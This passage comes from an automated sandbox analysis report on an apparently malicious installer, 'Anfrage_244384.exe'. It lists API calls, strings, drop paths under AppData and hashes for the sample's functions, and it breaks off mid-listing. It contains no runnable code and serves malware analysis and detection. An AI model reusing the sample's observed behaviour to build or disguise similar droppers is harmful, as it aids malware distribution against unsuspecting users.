                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: AttributesFile
                                                          • String ID:
                                                          • API String ID: 3188754299-0
                                                          • Opcode ID: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                          • Instruction ID: e24d852e2ad3a8f86fdc323a2a6250be89694c15614e2f118570afc755bb50f4
                                                          • Opcode Fuzzy Hash: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                          • Instruction Fuzzy Hash: 4DD05B72704115D7CB10EBE5EF0869D77B09B50364F304137D251F31D0D6BACA559729
                                                          Function 0040315B Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EC1,?), ref: 00403169
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FilePointer
                                                          • String ID:
                                                          • API String ID: 973152223-0
                                                          • Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                          • Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
                                                          • Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                          • Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D
                                                          Function 00403FDD Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID:
                                                          • API String ID: 3850602802-0
                                                          • Opcode ID: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                          • Instruction ID: 0adc9c0e194aa77c868d6ef978719a9753de7db756a7c543b14a3307e76eee0a
                                                          • Opcode Fuzzy Hash: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                          • Instruction Fuzzy Hash: B2B09235280A00AAEA215B00DE09F467A62A764701F408038B240250B1CAB200A6DB18
                                                          Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: AllocGlobal
                                                          • String ID:
                                                          • API String ID: 3761449716-0
                                                          • Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
                                                          • Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
                                                          • Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
                                                          • Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39

                                                          Non-executed Functions

                                                          Function 0040511A Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?,00000403), ref: 00405179
                                                          • GetDlgItem.USER32(?,000003EE), ref: 00405188
                                                          • GetClientRect.USER32(?,?), ref: 004051C5
                                                          • GetSystemMetrics.USER32(00000002), ref: 004051CC
                                                          • SendMessageA.USER32(?,0000101B,00000000,?), ref: 004051ED
                                                          • SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004051FE
                                                          • SendMessageA.USER32(?,00001001,00000000,?), ref: 00405211
                                                          • SendMessageA.USER32(?,00001026,00000000,?), ref: 0040521F
                                                          • SendMessageA.USER32(?,00001024,00000000,?), ref: 00405232
                                                          • ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405254
                                                          • ShowWindow.USER32(?,00000008), ref: 00405268
                                                          • GetDlgItem.USER32(?,000003EC), ref: 00405289
                                                          • SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405299
                                                          • SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052B2
                                                          • SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004052BE
                                                          • GetDlgItem.USER32(?,000003F8), ref: 00405197
                                                            • Part of subcall function 00403FDD: SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                          • GetDlgItem.USER32(?,000003EC), ref: 004052DA
                                                          • CreateThread.KERNEL32(00000000,00000000,Function_000050AE,00000000), ref: 004052E8
                                                          • CloseHandle.KERNEL32(00000000), ref: 004052EF
                                                          • ShowWindow.USER32(00000000), ref: 00405312
                                                          • ShowWindow.USER32(?,00000008), ref: 00405319
                                                          • ShowWindow.USER32(00000008), ref: 0040535F
                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405393
                                                          • CreatePopupMenu.USER32 ref: 004053A4
                                                          • AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004053B9
                                                          • GetWindowRect.USER32(?,000000FF), ref: 004053D9
                                                          • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053F2
                                                          • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040542E
                                                          • OpenClipboard.USER32(00000000), ref: 0040543E
                                                          • EmptyClipboard.USER32 ref: 00405444
                                                          • GlobalAlloc.KERNEL32(00000042,?), ref: 0040544D
                                                          • GlobalLock.KERNEL32(00000000), ref: 00405457
                                                          • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040546B
                                                          • GlobalUnlock.KERNEL32(00000000), ref: 00405484
                                                          • SetClipboardData.USER32(00000001,00000000), ref: 0040548F
                                                          • CloseClipboard.USER32 ref: 00405495
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                          • String ID:
                                                          • API String ID: 590372296-0
                                                          • Opcode ID: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                          • Instruction ID: 5613d7aab8632e27e9dc55abe2e0ca372eedffe8b3e0cf91bb1740b35a121942
                                                          • Opcode Fuzzy Hash: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                          • Instruction Fuzzy Hash: 8AA14770900608BFDB11AFA1DE89EAE7F79EB08344F40403AFA01B61A0C7755E51DF68
                                                          Function 004043E6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 274stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?,000003FB), ref: 00404435
                                                          • SetWindowTextA.USER32(00000000,?), ref: 0040445F
                                                          • SHBrowseForFolderA.SHELL32(?,00429C40,?), ref: 00404510
                                                          • CoTaskMemFree.OLE32(00000000), ref: 0040451B
                                                          • lstrcmpiA.KERNEL32(Call,0042A868), ref: 0040454D
                                                          • lstrcatA.KERNEL32(?,Call), ref: 00404559
                                                          • SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040456B
                                                            • Part of subcall function 0040559D: GetDlgItemTextA.USER32(?,?,00000400,004045A2), ref: 004055B0
                                                            • Part of subcall function 0040602E: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                            • Part of subcall function 0040602E: CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                            • Part of subcall function 0040602E: CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage_244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                            • Part of subcall function 0040602E: CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                          • GetDiskFreeSpaceA.KERNEL32(00429838,?,?,0000040F,?,00429838,00429838,?,00000001,00429838,?,?,000003FB,?), ref: 00404629
                                                          • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404644
                                                            • Part of subcall function 0040479D: lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                            • Part of subcall function 0040479D: wsprintfA.USER32 ref: 00404843
                                                            • Part of subcall function 0040479D: SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                          • String ID: A$C:\Users\user\AppData\Roaming\secretaryships$Call
                                                          • API String ID: 2624150263-1374666773
                                                          • Opcode ID: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                          • Instruction ID: 84c50741fe25a173814362b43a11873bd68750411b15b34785129881091ebc45
                                                          • Opcode Fuzzy Hash: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                          • Instruction Fuzzy Hash: 14A1A5B1900209ABDB11AFA6DD45AAF7BB8EF85314F10843BF601B62D1D77C89418F69
                                                          Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                          • GlobalAlloc.KERNEL32(00000040,000014A4), ref: 10001B67
                                                          • lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
                                                          • lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001BCC
                                                          • GlobalFree.KERNEL32(?), ref: 10001CC4
                                                          • GlobalFree.KERNEL32(?), ref: 10001CC9
                                                          • GlobalFree.KERNEL32(?), ref: 10001CCE
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001E76
                                                          • lstrcpyA.KERNEL32(?,?), ref: 10001FCA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$lstrcpy$Alloc
                                                          • String ID:
                                                          • API String ID: 4227406936-0
                                                          • Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                          • Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
                                                          • Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
                                                          • Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51
                                                          Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoCreateInstance.OLE32(00408514,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
                                                          • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8
                                                          Strings
                                                          • C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes, xrefs: 0040218C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ByteCharCreateInstanceMultiWide
                                                          • String ID: C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes
                                                          • API String ID: 123533781-3680780964
                                                          • Opcode ID: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                          • Instruction ID: a586864d88b4a31a2ea0730a18160f458de020bca495768a6a410d99a7d95100
                                                          • Opcode Fuzzy Hash: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                          • Instruction Fuzzy Hash: B4510975A00208BFCB10DFE4CA88A9DBBB6AF48314B2445AAF515FB2D0DA799941CB54
                                                          Function 0040655F Relevance: .3, Instructions: 334COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                          • Instruction ID: 8293cd2a5013187d15d39c8039833727f4f8195ddf88bee04d9fcabafb2459e2
                                                          • Opcode Fuzzy Hash: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                          • Instruction Fuzzy Hash: 0EE17B71900709DFDB24CF58C980BAABBF1EB44305F15893EE497A72D1E778AA91CB04
                                                          Function 00406D36 Relevance: .3, Instructions: 300COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                          • Instruction ID: 9f21e3e235d98a7e1251c5e66270d761edb2065f660f80fa18d1a92bf6754199
                                                          • Opcode Fuzzy Hash: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                          • Instruction Fuzzy Hash: 2DC13971E0021A8BCF14CF68D5905EEBBB2BF98314F26826AD85677384D734A952CF94
                                                          Function 004040F1 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040417C
                                                          • GetDlgItem.USER32(00000000,000003E8), ref: 00404190
                                                          • SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041AE
                                                          • GetSysColor.USER32(?), ref: 004041BF
                                                          • SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004041CE
                                                          • SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004041DD
                                                          • lstrlenA.KERNEL32(?), ref: 004041E0
                                                          • SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004041EF
                                                          • SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404204
                                                          • GetDlgItem.USER32(?,0000040A), ref: 00404266
                                                          • SendMessageA.USER32(00000000), ref: 00404269
                                                          • GetDlgItem.USER32(?,000003E8), ref: 00404294
                                                          • SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004042D4
                                                          • LoadCursorA.USER32(00000000,00007F02), ref: 004042E3
                                                          • SetCursor.USER32(00000000), ref: 004042EC
                                                          • ShellExecuteA.SHELL32(0000070B,open,0042E3A0,00000000,00000000,00000001), ref: 004042FF
                                                          • LoadCursorA.USER32(00000000,00007F00), ref: 0040430C
                                                          • SetCursor.USER32(00000000), ref: 0040430F
                                                          • SendMessageA.USER32(00000111,00000001,00000000), ref: 0040433B
                                                          • SendMessageA.USER32(00000010,00000000,00000000), ref: 0040434F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                          • String ID: Call$N$open
                                                          • API String ID: 3615053054-2563687911
                                                          • Opcode ID: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                          • Instruction ID: 596f938780ddc00ccda35ae91e452bcb2762d229451626cd39d0fa48fc5db7d6
                                                          • Opcode Fuzzy Hash: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                          • Instruction Fuzzy Hash: FC61B3B1A40209BFEB109F60DD45F6A7B69FB84701F10803AFB04BA2D1C7B8A951CB58
                                                          Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                          • BeginPaint.USER32(?,?), ref: 00401047
                                                          • GetClientRect.USER32(?,?), ref: 0040105B
                                                          • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                          • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                          • DeleteObject.GDI32(?), ref: 004010ED
                                                          • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                          • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                          • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                          • SelectObject.GDI32(00000000,?), ref: 00401140
                                                          • DrawTextA.USER32(00000000,Debutromaners241 Setup,000000FF,00000010,00000820), ref: 00401156
                                                          • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                          • DeleteObject.GDI32(?), ref: 00401165
                                                          • EndPaint.USER32(?,?), ref: 0040116E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                          • String ID: Debutromaners241 Setup$F
                                                          • API String ID: 941294808-211529893
                                                          • Opcode ID: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                          • Instruction ID: eed311f0ba3f5168439b37af4fa11fc7bb37c730dc1785cefb354bf9b42296a2
                                                          • Opcode Fuzzy Hash: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                          • Instruction Fuzzy Hash: FF418C71800209AFCF059F95DE459AFBBB9FF44314F00842EF9A1AA1A0C774E955DFA4
                                                          Function 00405B0C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrcpyA.KERNEL32(0042C5F8,NUL,?,00000000,?,00000000,00405C9F,?,?), ref: 00405B1B
                                                          • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C9F,?,?), ref: 00405B3F
                                                          • GetShortPathNameA.KERNEL32(?,0042C5F8,00000400), ref: 00405B48
                                                            • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                            • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                          • GetShortPathNameA.KERNEL32(0042C9F8,0042C9F8,00000400), ref: 00405B65
                                                          • wsprintfA.USER32 ref: 00405B83
                                                          • GetFileSize.KERNEL32(00000000,00000000,0042C9F8,C0000000,00000004,0042C9F8,?,?,?,?,?), ref: 00405BBE
                                                          • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405BCD
                                                          • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C05
                                                          • SetFilePointer.KERNEL32(0040A3B0,00000000,00000000,00000000,00000000,0042C1F8,00000000,-0000000A,0040A3B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405C5B
